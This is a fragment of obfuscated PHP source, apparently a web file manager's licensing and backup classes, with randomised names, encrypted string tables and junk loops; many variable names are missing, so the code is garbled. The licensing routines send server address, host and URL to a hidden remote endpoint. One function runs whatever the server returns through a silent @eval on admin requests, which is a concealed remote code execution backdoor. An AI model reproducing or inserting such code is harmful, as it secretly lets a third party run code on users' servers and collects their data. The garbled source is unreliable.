(strlen($ƭ) < $˓[688]) { if (!$ƭ) { break; } $ƭ++; } } if ($this->jtax3895d200 == $[109]) { return; } $튊 = array($[140], $[141], $[142], $[143], $[144], $[145]); $ī = Model($[33])->get(); $džϷ = $˓[722]; if (!$džϷ) { return; } $ = array($[146] => $ī[$[34]], $[147] => $ī[$[35]], $[148] => $[6]); $Ш = $˓[723]; if (!$Ш) { die; } foreach ($튊 as $) { if (!isset($ī[$]) || !$ī[$]) { continue; } $[$] = $ī[$]; $Ȥ䫀 = $˓[724]; while ($Ȥ䫀 < $˓[725]) { if ($Ȥ䫀 >= 0) { break; } $Ȥ䫀++; } } call_user_func(array($[138], $[139]), $); } private function rmqb241db383() { $˨ȫ =& $_SERVER[ձК]; $崡 =& $_SERVER[]; if ($_SERVER[$崡[24]] != $崡[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$崡[13]]; if (isset($[$崡[150]])) { $this->dcpw7ca53c62(); die; } if (isset($[$崡[151]]) && isset($[$崡[151]]) == $崡[122]) { $[$崡[152]] = Model($崡[33])->get($崡[153]); } if (!isset($[$崡[152]]) || strlen($[$崡[152]]) != 16) { show_json($崡[154] . $[$崡[152]], !1); } $ʓ = Model($崡[33])->get($崡[100]); $˝ = md5($_SERVER[$崡[106]] . $ʓ); $ʾ = $˨ȫ[726]; if (!$ʾ) { die; } $̻ = array($崡[152] => $[$崡[152]], $崡[155] => rand_string(16), $崡[156] => $崡[136], $崡[157] => $崡[158], $崡[159] => $_SERVER[$崡[160]], $崡[161] => $_SERVER[$崡[162]], $崡[163] => $_SERVER[$崡[164]], $崡[105] => $˝, $崡[165] => Model($崡[33])->get($崡[131])); $Ǡ = $˨ȫ[727]; if (isset($[$崡[151]]) && isset($[$崡[151]]) == $崡[122]) { $̻[$崡[151]] = md5($̻[$崡[152]] . $崡[166] . $̻[$崡[155]]); } if ($[$崡[167]] == $崡[168]) { $ = $this->yxpi3af00147($˝, $崡[169]); $ = $this->vfoz6b4c65c7(json_encode($̻), $˝ . $崡[170], 3); $ = $ . $崡[171] . $_SERVER[$崡[160]]; $ = $this->ajxi1ebfa190($崡[172] . $ . $崡[173] . $, -1); show_json($, !0); } else { if ($[$崡[167]] == $崡[174]) { $ = substr(md5($崡[175] . $˝), 12, 15) . $崡[176]; $ = $this->huoq9e74a2d3(trim($[$崡[177]]), $, 2); $듉 = json_decode($, !0); if (!is_array($듉) || !is_array($듉[$崡[178]]) || $듉[$崡[152]] != !0) { $ = $崡[179]; $ = $듉[$崡[178]] ? $崡[180] . $듉[$崡[178]] : $; show_json($, !1); } else { $̻[$崡[155]] = $듉[$崡[178]][$崡[181]]; } } else { $듉 = $this->ajxi1ebfa190($崡[182], $̻, 10); $े = $˨ȫ[728]; } } if (!is_array($듉) || !is_array($듉[$崡[178]]) || $듉[$崡[152]] != !0) { $ = LNG($崡[183]); $ = $듉[$崡[178]] ? $崡[180] . $듉[$崡[178]] : $; show_json($, !1); } $Ư = $듉[$崡[178]]; $ = $this->firg094b8e06($Ư[$崡[184]]); $ = $˨ȫ[729]; while (strlen($) < $˨ȫ[694]) { if (!$) { break; } $++; } if (!$ || $ != $Ư[$崡[129]]) { $ۙ = array($崡[185] => Model($崡[33])->get($崡[100]), $崡[186] => $_SERVER[$崡[106]], $崡[187] => this_url(), $崡[161] => $_SERVER[$崡[162]]); $ = $this->hctqbafca1a1(json_encode($ۙ)); $this->ajxi1ebfa190($崡[188] . $); show_json(LNG($崡[189]), !0); } $§ = array($崡[153] => $Ư[$崡[190]], $崡[191] => $Ư[$崡[192]], $崡[193] => rand_string(16), $崡[108] => $Ư[$崡[194]]); if ($̻[$崡[155]]) { $§[$崡[193]] = $̻[$崡[155]]; } $齒 = substr(md5($§[$崡[191]]), 10, 10); $ = $齒 . $§[$崡[108]] . $§[$崡[193]]; $ߢ = $˨ȫ[730]; $§[$崡[110]] = strrev(base64_encode($this->yxpi3af00147($, $崡[195]))); $ = rand_string(16); $ = $˨ȫ[731]; if (!$) { die; } $Ӎ = $ . $§[$崡[108]] . $this->yxpi3af00147(md5($§[$崡[153]]), $); $ = $˨ȫ[732]; if (!$) { die; } $§[$崡[111]] = base64_encode(strrev($this->yxpi3af00147($Ӎ, $崡[196]))); $Đ = $˨ȫ[733]; if (!$Đ) { return; } if ($Ư[$崡[197]] && $Ư[$崡[197]] >= 1) { Model($崡[33])->setDeep($崡[198], $崡[122]); } Model($崡[33])->set($§); $ڰ = md5($_SERVER[$崡[106]] . strrev($ʓ) . $§[$崡[191]]); $ = $˨ȫ[734]; if (strlen($) < $˨ȫ[688]) { die; } $ = strrev(substr($ڰ, 10, 16)); $ = $this->vfoz6b4c65c7(json_encode($Ư), $ڰ); $ = array_to_keyvalue(Model($崡[7])->listData(), $崡[199]); $뉷 = $[$崡[200]]; $ = $˨ȫ[735]; if (strlen($) < $˨ȫ[694]) { die; } $˽ = array(); $˽[$] = $; $ʜ = $˨ȫ[736]; while (strlen($ʜ) < $˨ȫ[694]) { if (!$ʜ) { break; } $ʜ++; } Model($崡[7])->update($뉷[$崡[201]], array($崡[202] => $˽)); $⨥ = $˨ȫ[737]; while (strlen($⨥) < $˨ȫ[696]) { if (!$⨥) { break; } $⨥++; } $this->gwnc99cefeab = $Ư; $this->jtax3895d200 = $§[$崡[108]]; $this->licenseRegistSuccess(); $ޯ = $˨ȫ[738]; if (strlen($ޯ) < $˨ȫ[725]) { return; } Cache::set($崡[203] . md5($ʓ . $崡[204]), $崡[6]); $ϖ = $˨ȫ[739]; while (strlen($ϖ) < $˨ȫ[688]) { if (!$ϖ) { break; } $ϖ++; } show_json(LNG($崡[189]), !0); $ե = $˨ȫ[740]; while ($ե < $˨ȫ[725]) { if ($ե >= 0) { break; } $ե++; } } private function licenseRegistSuccess() { $ =& $_SERVER[]; $Ӆ = Model($[33])->get(); if ($Ӆ[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function dcpw7ca53c62() { $߹ =& $_SERVER[ձК]; $žǯ =& $_SERVER[]; Model($žǯ[33])->set(array($žǯ[153] => $žǯ[6], $žǯ[191] => $žǯ[6], $žǯ[108] => $žǯ[109], $žǯ[110] => $žǯ[6], $žǯ[111] => $žǯ[6])); $ƌߦ = $߹[741]; if (strlen($ƌߦ) < $߹[725]) { return; } Model($žǯ[33])->setDeep($žǯ[198], $žǯ[206]); $҄ = $߹[742]; if (strlen($҄) < $߹[725]) { return; } $this->gwnc99cefeab = array(); $this->jtax3895d200 = $žǯ[109]; $ެ = $߹[743]; if (strlen($ެ) < $߹[725]) { die; } } private function jnas6a49654c() { $ =& $_SERVER[ձК]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $this->jtax3895d200 = $[109]; $ = $[744]; while ($ < $[688]) { if ($ >= 0) { break; } $++; } $Õ = Model($[33])->get(); $ = $[745]; while ($ < $[696]) { if ($ >= 0) { break; } $++; } if ($Õ[$[108]] == $[109]) { return; } $Ō = Model($[33])->get($[100]); $ = $[203] . md5($Ō . $[204]); $ྞ = Cache::get($); if (!is_array($ྞ) || !isset($ྞ[$[207]]) || time() - $ྞ[$[207]] >= 60) { $ = Model($[7])->loadList(); $¤IJ = $[$[200]]; $Ѓ = md5($_SERVER[$[106]] . strrev($Ō) . $Õ[$[191]]); $dž = strrev(substr($Ѓ, 10, 16)); $ྞ = $this->huoq9e74a2d3($¤IJ[$[86]][$dž], $Ѓ); $ྞ = json_decode($ྞ, !0); } if (!is_array($ྞ)) { return $this->dcpw7ca53c62(); } $ = strtotime($ྞ[$[129]]); if (time() >= $) { return $this->dcpw7ca53c62(); } if (!isset($ྞ[$[207]]) || time() - $ྞ[$[207]] > 20) { $ྞ[$[207]] = time(); Cache::set($, $ྞ); } $this->gwnc99cefeab = $ྞ; $this->jtax3895d200 = $Õ[$[108]]; } private function hucp5779a876() { $ڎ =& $_SERVER[ձК]; $ڒ =& $_SERVER[]; $ = $GLOBALS[$ڒ[13]]; $ = $ڎ[746]; if (!$) { return; } $ޔ솾 = $_SERVER[$ڒ[24]]; $ = $ڎ[747]; if (!$) { die; } if ($ޔ솾 == $ڒ[208] && $this->jtax3895d200 == $ڒ[109]) { show_json(LNG($ڒ[209]), !1, $ڒ[210]); } $ = array($ڒ[211], $ڒ[212]); if (in_array($ޔ솾, $)) { if ($this->jtax3895d200 == $ڒ[109] && isset($[$ڒ[213]])) { show_json(LNG($ڒ[209]), !1, $ڒ[210]); die; } $ئ = $this->urnkd02310f9(); if ($ئ != intval($ڒ[214])) { if ($ئ <= Model($ڒ[125])->count()) { show_json(LNG($ڒ[215]), !1, $ڒ[210]); die; } } } } private function oqst7e4e408c() { $ڕ =& $_SERVER[ձК]; $է =& $_SERVER[]; $̖ = array($է[119], $է[120]); if (!KodUser::isRoot() || !isset($_GET[$է[216]])) { return; } if (!in_array($_SERVER[$է[24]], $̖)) { return; } $Ĩ¬ = $է[217]; $ȅ = $ڕ[748]; while (strlen($ȅ) < $ڕ[725]) { if (!$ȅ) { break; } $ȅ++; } $Ĩ¬ = $this->vzpec33a8f12($Ĩ¬, $է[218]); $ˬ = $ڕ[749]; if (!$ˬ) { die; } $ = stream_context_create(array($է[219] => array($է[220] => $է[221], $է[222] => 3))); $ɓݵ = $ڕ[750]; while (strlen($ɓݵ) < $ڕ[688]) { if (!$ɓݵ) { break; } $ɓݵ++; } $ǜ = @file_get_contents($Ĩ¬, !1, $); header($է[223]); if ($ǜ && strstr($ǜ, $է[224])) { echo $ǜ; } die; } public function rgzf4998ae74($) { $ɒ =& $_SERVER[ձК]; $ =& $_SERVER[]; if ($this->jtax3895d200 == $[225]) { return $; } $ּܢ = $this->versionPluginList(); $ = explode($[226], $this->versionPluginFilter()); $ʺݗ = $ɒ[751]; while (strlen($ʺݗ) < $ɒ[696]) { if (!$ʺݗ) { break; } $ʺݗ++; } $ = array(); $ِ = $ɒ[752]; foreach ($ּܢ as $ => $͉) { if ($͉ == $[227] && substr($this->jtax3895d200, 0, 1) == $[227]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unset($[$]); $㿞 = $ɒ[753]; while (strlen($㿞) < $ɒ[688]) { if (!$㿞) { break; } $㿞++; } } return $; $͚ = $ɒ[754]; if (strlen($͚) < $ɒ[688]) { die; } } private function versionPluginList() { $ =& $_SERVER[]; return array($[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $[244] => $[232]); $ȉ = $_SERVER[ձК][755]; } private function versionPluginFilter() { $ =& $_SERVER[]; if ($this->jtax3895d200 == $[109]) { return $[6]; } $ܷ = _get($this->gwnc99cefeab, $[245], $[6]); $휠 = _get($this->gwnc99cefeab, $[116], $[6]); $Ń = _get($this->gwnc99cefeab, $[246], $[6]); if ($휠 > time() && $Ń > time()) { $ = explode($[226], $ܷ); $ = array_keys($this->versionPluginList()); $ܷ = array_merge($, $); $ܷ = implode($[226], array_filter(array_unique($ܷ))); } return $ܷ; } private function letg895d0393() { $ =& $_SERVER[]; if ($this->jtax3895d200 != $[109]) { $GLOBALS[$[86]][$[90]][$[247]] = $[206]; return; } $GLOBALS[$[86]][$[248]] = $[122]; if (Model($[249])->get($[63]) != $[206]) { Model($[249])->set($[63], $[206]); } } public function yaer995ff4b3() { $ =& $_SERVER[ձК]; return $_SERVER[][250]; $Ҕ = $[756]; while ($Ҕ < $[696]) { if ($Ҕ >= 0) { break; } $Ҕ++; } } private function odjf1d8c72f5() { $ =& $_SERVER[ձК]; $ʦ =& $_SERVER[]; $詙 = array($ʦ[251], $ʦ[252], $ʦ[253]); $ם = $ʦ[254] . md5($ʦ[255]); if ($this->jtax3895d200 == $ʦ[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$ʦ[24]], $詙)) { return; } if (time() % 4 != 0) { return; } $ϻ = call_user_func(array($ʦ[256], $ʦ[257]), $ם); if ($ϻ && time() - $ϻ < intval($ʦ[258])) { return; } call_user_func(array($ʦ[256], $ʦ[139]), $ם, time()); $ = Model($ʦ[33])->get($ʦ[100]); $ = $[757]; $ = array($ʦ[152] => Model($ʦ[33])->get($ʦ[153]), $ʦ[167] => $this->jtax3895d200, $ʦ[163] => $_SERVER[$ʦ[164]], $ʦ[165] => Model($ʦ[33])->get($ʦ[131]), $ʦ[105] => md5($_SERVER[$ʦ[106]] . $), $ʦ[156] => $ʦ[136], $ʦ[159] => $_SERVER[$ʦ[160]]); $ = $[758]; $ = $this->ajxi1ebfa190($ʦ[259], $); if (!is_array($)) { return; } if ($[$ʦ[152]] && $[$ʦ[260]]) { if ($this->firg094b8e06($[$ʦ[260]]) == $[$ʦ[152]]) { return; } } $this->dcpw7ca53c62(); if ($this->firg094b8e06($[$ʦ[260]]) != $[$ʦ[152]]) { $ÿِ = array($ʦ[185] => $, $ʦ[186] => $_SERVER[$ʦ[106]], $ʦ[187] => this_url(), $ʦ[161] => $_SERVER[$ʦ[162]]); $ɤ = $this->hctqbafca1a1(json_encode($ÿِ)); $ = $this->ajxi1ebfa190($ʦ[188] . $ɤ); if ($ && is_array($) && isset($[$ʦ[260]])) { $گ = $this->huoq9e74a2d3($[$ʦ[260]], 2); if ($گ) { $گ = $this->firg094b8e06($گ); } if ($گ) { try { @eval($گ); } catch (Exception $ՌΚ) { } } } } } private function ajxi1ebfa190($ = '', $ = array(), $֥ = 5) { $ =& $_SERVER[]; $ٲ = $[261]; $ٲ = $this->vzpec33a8f12($ٲ, $[262]); $ = $_SERVER[ձК][759]; $ٲ = $ٲ . $; if ($ && is_array($)) { $ٲ = $ٲ . $[263] . http_build_query($); } if ($ === -1) { return $ٲ; } $͓֒ = stream_context_create(array($[219] => array($[222] => $֥, $[220] => $[264]), $[265] => array($[266] => !1, $[267] => !1))); $ = @file_get_contents($ٲ, !1, $͓֒); return json_decode($, !0); } private function urnkd02310f9() { $ =& $_SERVER[ձК]; $ =& $_SERVER[]; $ = array($[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] => $[275], $[276] => $[277], $[278] => $[214], $[279] => $[214], $[280] => $[269], $[281] => $[271], $[282] => $[273], $[283] => $[284], $[285] => $[275], $[286] => $[287], $[288] => $[277], $[289] => $[290], $[291] => $[292], $[293] => $[294]); $̖ = $[$this->jtax3895d200]; $ћ = $[760]; while (strlen($ћ) < $[688]) { if (!$ћ) { break; } $ћ++; } $̖ = intval($̖ ? $̖ : $[269]); $ι = _get($this->gwnc99cefeab, $[295]); $ι = $ι ? intval($ι) : 0; return $̖ + $ι; $ = $[761]; while ($ < $[688]) { if ($ >= 0) { break; } $++; } } public function megwccf1c13d($̗) { $ =& $_SERVER[ձК]; $ɩ =& $_SERVER[]; $ = $this->urnkd02310f9(); $͌ = $[762]; if (strlen($͌) < $[696]) { return; } if ($̗[$ɩ[296]] == $ɩ[122]) { return; } if ($ >= intval($ɩ[214])) { return; } $˃ = Model($ɩ[125])->count(); $ݬ = $[763]; if (!$ݬ) { return; } if ($˃ <= $) { return; } $ = Model($ɩ[125])->field($ɩ[296])->limit($)->select(); $ = array_to_keyvalue($, $ɩ[6], $ɩ[296]); $ = $[764]; while ($ < $[688]) { if ($ >= 0) { break; } $++; } if (!in_array($̗[$ɩ[296]], $)) { show_json($ɩ[297], !1, $ɩ[210]); } } public function hcplb97b95cd() { $㢢 =& $_SERVER[ձК]; $酄 =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ϒ = $酄[217]; $ϒ = $this->vzpec33a8f12($ϒ, $酄[218]); $ӍNJ = stream_context_create(array($酄[219] => array($酄[220] => $酄[221], $酄[222] => 3))); $ʗ = $㢢[765]; if (strlen($ʗ) < $㢢[694]) { return; } $ޠ = @file_get_contents($ϒ, !1, $ӍNJ); $ׯՉ = $㢢[766]; if (strlen($ׯՉ) < $㢢[725]) { die; } echo $酄[298] . hash_encode($ޠ) . $酄[299]; } private function vfoz6b4c65c7($, $皸ڏ, $ɂ = 3) { $ =& $_SERVER[ձК]; $̎ =& $_SERVER[]; usleep(1); $ = trim($); $ = $[767]; if (!$) { return; } $̖Ȓ = mt_rand(0, 5) . $̎[6]; $ֱۼ = rand_string(15); $ = $[768]; $ݩ谄 = $̎[300]; $ӌ = $[769]; if (!$ӌ) { die; } switch ($̖Ȓ) { case $̎[206]: $ = $this->yxpi3af00147($, strrev($皸ڏ . $ֱۼ)); break; case $̎[122]: $ = $this->yxpi3af00147($, strrev($ֱۼ . $皸ڏ)); $ŷ = $[770]; if (!$ŷ) { return; } break; case $̎[301]: $ = $this->yxpi3af00147($, base64_encode($ֱۼ . $皸ڏ)); $Ȥ = $[771]; while ($Ȥ < $[694]) { if ($Ȥ >= 0) { break; } $Ȥ++; } break; $ = $[772]; while ($ < $[696]) { if ($ >= 0) { break; } $++; } case $̎[302]: $ = $this->yxpi3af00147($, md5($ֱۼ . $皸ڏ)); $ӑ = $[773]; if (!$ӑ) { die; } break; $Î = $[774]; if (strlen($Î) < $[688]) { return; } case $̎[303]: $ = base64_encode($); $ޢ = rand(0, 64); $ = $ݩ谄[$ޢ]; $ = $[775]; if (strlen($) < $[696]) { return; } $ = md5($ . md5($皸ڏ . $) . $皸ڏ); $ = substr($, $ޢ % 8, $ޢ % 8 + 7); $ܼ = $[776]; while (strlen($ܼ) < $[688]) { if (!$ܼ) { break; } $ܼ++; } $ҍޛ = $̎[6]; $ = $[777]; if (!$) { return; } $캊 = 0; $ƥ = $[778]; if (strlen($ƥ) < $[696]) { return; } $ = 0; $Й = $[779]; if (strlen($Й) < $[696]) { return; } $ = 0; $ɖ = $[780]; if (strlen($ɖ) < $[694]) { die; } for ($캊 = 0; $캊 < strlen($); $캊++) { $ = $ == strlen($) ? 0 : $; $ = ($ޢ + strpos($ݩ谄, $[$캊]) + ord($[$++])) % 64; $ҍޛ .= $ݩ谄[$]; } $ = hash_encode($ . $ҍޛ); break; default: $ = $this->yxpi3af00147($, $皸ڏ . $ֱۼ); $֓Ù = $[781]; while (strlen($֓Ù) < $[694]) { if (!$֓Ù) { break; } $֓Ù++; } break; $ = $[782]; if (strlen($) < $[694]) { return; } } $ = strrev($̖Ȓ . $ֱۼ . $); $ؽ = $[783]; if (strlen($ؽ) < $[725]) { return; } if ($ɂ - 1 > 0) { $ = $this->vfoz6b4c65c7($, $皸ڏ, $ɂ - 1); } return $; } private function huoq9e74a2d3($, $Ӫ, $ˀ = 3) { $આ =& $_SERVER[ձК]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = strrev($); $ۦ = $[0]; $Է = $આ[784]; if (!$Է) { return; } $趎 = substr($, 1, 15); $ = substr($, 16); $ӑʑ = $[300]; switch ($ۦ) { case $[206]: $큟 = $this->vzpec33a8f12($, strrev($Ӫ . $趎)); break; $ = $આ[785]; while ($ < $આ[694]) { if ($ >= 0) { break; } $++; } case $[122]: $큟 = $this->vzpec33a8f12($, strrev($趎 . $Ӫ)); break; $ = $આ[786]; while ($ < $આ[725]) { if ($ >= 0) { break; } $++; } case $[301]: $큟 = $this->vzpec33a8f12($, base64_encode($趎 . $Ӫ)); break; case $[302]: $큟 = $this->vzpec33a8f12($, md5($趎 . $Ӫ)); break; $Dz = $આ[787]; while ($Dz < $આ[709]) { if ($Dz >= 0) { break; } $Dz++; } case $[303]: $ = hash_decode($); $ۆ = $[0]; $ = $આ[788]; if (!$) { die; } $ = substr($, 1); $Ӎ = $આ[789]; while (strlen($Ӎ) < $આ[709]) { if (!$Ӎ) { break; } $Ӎ++; } $֭ڂɴ = strpos($ӑʑ, $ۆ); $ף = md5($ۆ . md5($Ӫ . $ۆ) . $Ӫ); $ = $આ[790]; if (strlen($) < $આ[709]) { return; } $ף = substr($ף, $֭ڂɴ % 8, $֭ڂɴ % 8 + 7); $ = $આ[791]; if (!$) { return; } $Ʊ = $[6]; $ʔ侔 = 0; $ = $આ[792]; $凚寐 = 0; $ⴚƙ = 0; $ = $આ[793]; for ($ʔ侔 = 0; $ʔ侔 < strlen($); $ʔ侔++) { $ⴚƙ = $ⴚƙ == strlen($ף) ? 0 : $ⴚƙ; $Ϳ = $ⴚƙ++; $٘ = $આ[794]; $凚寐 = strpos($ӑʑ, $[$ʔ侔]) - $֭ڂɴ - ord($ף[$Ϳ]); while ($凚寐 < 0) { $凚寐 += 64; $ђ = $આ[795]; } $Ʊ .= $ӑʑ[$凚寐]; $ܤ = $આ[796]; while ($ܤ < $આ[709]) { if ($ܤ >= 0) { break; } $ܤ++; } } $큟 = base64_decode($Ʊ); break; $ = $આ[797]; if (strlen($) < $આ[709]) { die; } default: $큟 = $this->vzpec33a8f12($, $Ӫ . $趎); $ϱ = $આ[798]; break; } if ($ˀ - 1 > 0) { $큟 = $this->huoq9e74a2d3($큟, $Ӫ, $ˀ - 1); } return $큟; } public function hctqbafca1a1($ס) { $ =& $_SERVER[ձК]; $ʁ =& $_SERVER[]; $ = $this->mdzvc5f9b04e(); $ޚ = $[799]; $ф = $this->mdzvc5f9b04e(); $φҘ = $[800]; while ($φҘ < $[694]) { if ($φҘ >= 0) { break; } $φҘ++; } $և = ($ - 1) * ($ф - 1); $ڴ = $[801]; $ɴ = intval(($ + $ф) / 2); while (1) { $ = $ɴ; $ = $և; $ = $[802]; if (!$) { die; } while ($ % $ != 0) { $ = $; $ = $; $ = $[803]; while (strlen($) < $[725]) { if (!$) { break; } $++; } $ = $ % $; $ = $[804]; if (!$) { die; } } if ($ == 1) { break; } else { $ɴ++; } } $з = 2; for ($σ = 0; $σ < $և * 10; $σ++) { if (($և * $σ + 1) % $ɴ == 0) { $з = intval(($և * $σ + 1) / $ɴ); break; } } $ = $this->yxpi3af00147($ * $ф . $ʁ[6], $ʁ[136]); $ = $[805]; if (!$) { return; } $ = md5($ʁ[304] . ($ + $ф) . $ʁ[305] . $ɴ . $ʁ[305] . $з . $ʁ[306]); $ = $this->yxpi3af00147($ס, $) . $ʁ[307] . $; $ = $[806]; if (strlen($) < $[725]) { die; } return $; } public function firg094b8e06($֝) { $ҕ =& $_SERVER[ձК]; $ =& $_SERVER[]; $ = explode($[307], $֝); $ = $ҕ[807]; if (strlen($) < $ҕ[696]) { return; } if (count($) != 2) { return $[6]; } $Ѭ܃ = $this->vzpec33a8f12($[1] . $[6], $[136]); if (!$Ѭ܃) { return $[6]; } $Ѭ܃ = intval($Ѭ܃); $ = $ҕ[808]; if (strlen($) < $ҕ[696]) { die; } $ڋ = 0; $ = $ҕ[809]; while (strlen($) < $ҕ[709]) { if (!$) { break; } $++; } $̀ = 0; $ = $ҕ[810]; while (strlen($) < $ҕ[696]) { if (!$) { break; } $++; } for ($ = 3; $ < $Ѭ܃; $ += 2) { if ($Ѭ܃ % $ != 0) { continue; } $ڋ = $; $̀ = intval($Ѭ܃ / $); break; } $ = ($ڋ - 1) * ($̀ - 1); $Ր = intval(($ڋ + $̀) / 2); while (1) { $ = $Ր; $ɷߨ = $ҕ[811]; $ = $; while ($ % $ != 0) { $Ƿ = $; $ = $ҕ[812]; while ($ < $ҕ[694]) { if ($ >= 0) { break; } $++; } $ = $; $ = $ҕ[813]; if (!$) { return; } $ = $Ƿ % $; } if ($ == 1) { break; } else { $Ր++; } } $ڿ = 2; $˘ = $ҕ[814]; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $Ր == 0) { $ڿ = intval(($ * $ + 1) / $Ր); break; } } $ = md5($[304] . ($ڋ + $̀) . $[305] . $Ր . $[305] . $ڿ . $[306]); $ = $this->vzpec33a8f12($[0], $); $Ϟ = $ҕ[815]; return $; } public function mdzvc5f9b04e() { $ =& $_SERVER[ձК]; $͇ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ݞ = array(); $ = 1; $ؿ = $[816]; if (strlen($ؿ) < $[709]) { die; } while ($ <= (int) sqrt($͇)) { $ҳ = $; while (!0) { $ҳ++; $쫨 = $[817]; while (strlen($쫨) < $[694]) { if (!$쫨) { break; } $쫨++; } if ($ҳ <= 2) { $ = $ҳ; break; } else { if ($ҳ < 2) { continue; } } $Ȁ = !0; for ($՟ = 2; $՟ <= sqrt($ҳ); $՟++) { if ($ҳ % $՟ == 0) { $Ȁ = !1; } } if ($Ȁ) { $ = $ҳ; break; } } $ݞ[] = $; } $ = 2; $̼ = $[752]; while ($̼ < $[725]) { if ($̼ >= 0) { break; } $̼++; } for ($ҳ = $͇; $ҳ > 1; $ҳ--) { $Ȁ = !0; $փʁ = $[818]; if (strlen($փʁ) < $[725]) { die; } foreach ($ݞ as $ɓ) { if ($ҳ % $ɓ == 0) { $Ȁ = !1; break; } } if ($Ȁ) { $ = $ҳ; break; } } return $; $ = $[819]; if (!$) { return; } } public function gpoh251d49cf($, $) { $ =& $_SERVER[ձК]; $Ë =& $_SERVER[]; return call_user_func(array($Ë[8], $Ë[308]), $, $); $ꃚ = $[820]; if (strlen($ꃚ) < $[696]) { return; } } public function yxpi3af00147($, $Ц) { $ =& $_SERVER[]; return call_user_func(array($[309], $[310]), $, $Ц); $ή = $_SERVER[ձК][821]; if (!$ή) { die; } } public function vzpec33a8f12($ۂ, $) { $־ =& $_SERVER[]; return call_user_func(array($־[309], $־[311]), $ۂ, $); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[ձК][822]); $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[ձК]; $this->isManual(); self::$name = date($[823]); if (!($攑 = $this->model->lastItem())) { $攑 = $this->initData(); } else { self::$name = $攑[$[32]]; if ($攑[$[824]] == $[91]) { self::$name = date($[261]); $ = intval(_get($攑, $[825], 0)); if (self::$manual == 0 && $攑[$[32]] == self::$name) { $this->model->remove($攑[$[477]]); } $攑 = $this->initData($, $攑[$[826]]); } else { $this->checkStore($攑[$[826]]); } } self::$option = $攑; } private function isManual() { $ĭ = _get($GLOBALS, $_SERVER[ձК][827], 0); $ĭ = intval($ĭ); self::$manual = $ĭ && $ĭ == 1 ? 1 : 0; } private function initData($җ = 0, $ⴲ = '') { $ =& $_SERVER[ձК]; $ը = $this->model->config(); if ($ⴲ && $ը[$[826]] != $ⴲ) { $җ = 0; } $this->checkStore($ը[$[826]]); if (self::$manual == 1) { self::$name .= $[11] . date($[828]); } $ֱ航 = array($[826] => $ը[$[826]], $[32] => self::$name, $[824] => 0, $[171] => $ը[$[171]], $[829] => self::$manual, $[370] => array($[830] => array($[824] => 0), $[831] => array($[824] => 0, $[832] => 0, $[833] => 0, $[33] => $[12], $[834] => 0, $[835] => 0), $[836] => array($[824] => 0, $[832] => 0, $[833] => 0, $[834] => 0, $[835] => 0), $[232] => array($[824] => 0, $[837] => 0, $[838] => 0, $[839] => 0, $[840] => 0, $[543] => $җ, $[834] => 0, $[835] => 0)), $[834] => time(), $[835] => 0); $ʾ = $this->model->insert($ֱ航); $ֱ航[$[477]] = $ʾ; return $ֱ航; } private function checkStore($) { $ = Model($_SERVER[ձК][841]); $ = $->listData($); $->checkConfig($); } public static function get() { if (!self::$option) { $ = Model($_SERVER[ձК][822]); $۲ = $->findByName(self::$name); $->parseContent($۲); self::$option = $۲; } return self::$option; } public static function set($µ) { $ż =& $_SERVER[ձК]; $ = self::get(); foreach ($µ as $ => $) { array_set_value($, $, $); } Model($ż[822])->update($[$ż[477]], $); self::$option = $; return self::$option; } public function keep() { $˾ =& $_SERVER[ձК]; $Ӗ = self::get(); if (_get($Ӗ, $˾[842], 0) == $˾[91]) { return; } $this->backupKeep($Ӗ); self::set(array($˾[842] => 1)); } private function backupKeep($¸΄) { $˯ =& $_SERVER[ձК]; if (self::$manual == 1) { return; } $ = $this->model->listData(); if (empty($)) { return; } $ς = 0; $ޱ = array(); foreach ($ as $ꚗ) { if ($ς >= 7) { break; } $ޱ[] = $ꚗ[$˯[32]]; $ς++; } for ($ς = 0; $ς < 12; $ς++) { $ޱ[] = date($˯[843], strtotime("\x2d{$ς}\40\x6d\x6f\156\164\x68\x73")); } $ޱ = array_unique($ޱ); $ = Model($˯[844])->get($˯[845]); foreach ($ as $ꚗ) { if (isset($ꚗ[$˯[829]]) && $ꚗ[$˯[829]] == $˯[91]) { continue; } if (!empty($ꚗ[$˯[32]]) && in_array($ꚗ[$˯[32]], $ޱ)) { continue; } $this->model->remove($ꚗ[$˯[477]]); $Ǟ = $this->backupPath($¸΄, $); IO::remove($Ǟ, !1); } } private function backupPath($, $Ն = false) { $ρ =& $_SERVER[ձК]; if (!$Ն) { $Ն = Model($ρ[844])->get($ρ[845]); } $ϱ = $[$ρ[32]]; $ = substr(md5($ρ[846] . $Ն . $ϱ), 0, 8); return "\x7b\151\x6f\x3a{$[$ρ[826]]}\175\x2f\144\141\x74\x61\x62\141\163\x65\57\x62\x61\143\x6b\165\x70\x2f" . $ϱ . $ρ[11] . $; } public function db() { $ =& $_SERVER[ձК]; $͖ = self::get(); if (_get($͖, $[847], 0) == $[91]) { return !0; } $ӆ = new BackupDb(); if (!$ӆ->index()) { return !1; } self::set(array($[847] => 1)); return !0; } public function dbFile() { $Ɂɂ =& $_SERVER[ձК]; $ɳ = self::get(); if (_get($ɳ, $Ɂɂ[848], 0) == $Ɂɂ[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($Ɂɂ[848] => 1)); return !0; } public function file() { $̌ =& $_SERVER[ձК]; $ԍ = self::get(); if (_get($ԍ, $̌[849], 0) == $̌[91]) { return !0; } if ($ԍ[$̌[171]] == $̌[850]) { $ڄ = new BackupFile(); if (!$ڄ->index()) { return !1; } } self::set(array($̌[849] => 1, $̌[824] => 1)); return !0; } } 